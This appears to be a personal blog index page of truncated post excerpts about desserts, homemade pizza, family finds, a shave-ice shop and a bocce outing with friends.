We had a little mini impromptu BBQ this weekend with friends. Always fun. It was sort of our friend’s birthday, so I thought I’d make a “cake” for dessert. Let’s talk about this cake. My grandma and mom sometimes make it. Mom put a little twist on it the last time I was home, so […]

Dad had us over for dinner one night and we made pizza in his snazzy oven. Mine was the best. Figs + goat cheese + pecorino + sauce. The boys didn’t like it.
Part of the 4th of July weekend was spent going through a few items at my Grandma’s house. We found some pretty entertaining items. Grandpa’s alcohol?

Chocolate or Vanilla? Did you pick chocolate? I have a theory. When the option of chocolate or “white” presents itself, most people will go for chocolate. People discriminate against cupcakes based on color. Only it’s backwards. The white cupcakes get no credit! Their ghetto […]
Yeah, not the kind that fall from the sky. It’s a dessert place. After seeing my post about the AWESOME shave ice we had in Maui, our friend sent us a link to a new restaurant in town. Snowflake. It is described as creamy, flavored ice. We got the white chocolate one with berries and […]
Warm chocolate chip cookies…
Make my teeth hurt. I seriously can’t stand them. I’ll eat them cooled. In fact, I love a room temperature chocolate chip cookie and could eat them for days. But the thought of a warm chocolate chip cookie with all that melty chocolate just makes me cringe. If you mouth is currently hanging open and […]
I decided to make some rice krispie treats. So head to Safeway to purchase the ingredients. Lucky for me, marshmallows were on sale. And you never know when you’ll need a mallow. So I bought 3 bags plus a box of rice krispies cereal (really, I bought the safeway brand). I grabbed a few other […]
Lavender brittle

Who doesn’t love butter and sugar mixed with nuts. I also like lavender. It’s soothing. I have chapstick and soap with lavender. I can tell you that lavender brittle is NOT good. I got some as my special “treat” at one of the hotels I’m staying. I […]
Have you ever played bocce ball before? I’d played in college. Always for fun, always at BBQs and never with official rules. We headed to Campo di Bocce here in Livermore to celebrate our friend, Lisa’s {belated} birthday. We learned how to play from our very young referee. He was actually a kick. Highly entertaining […]
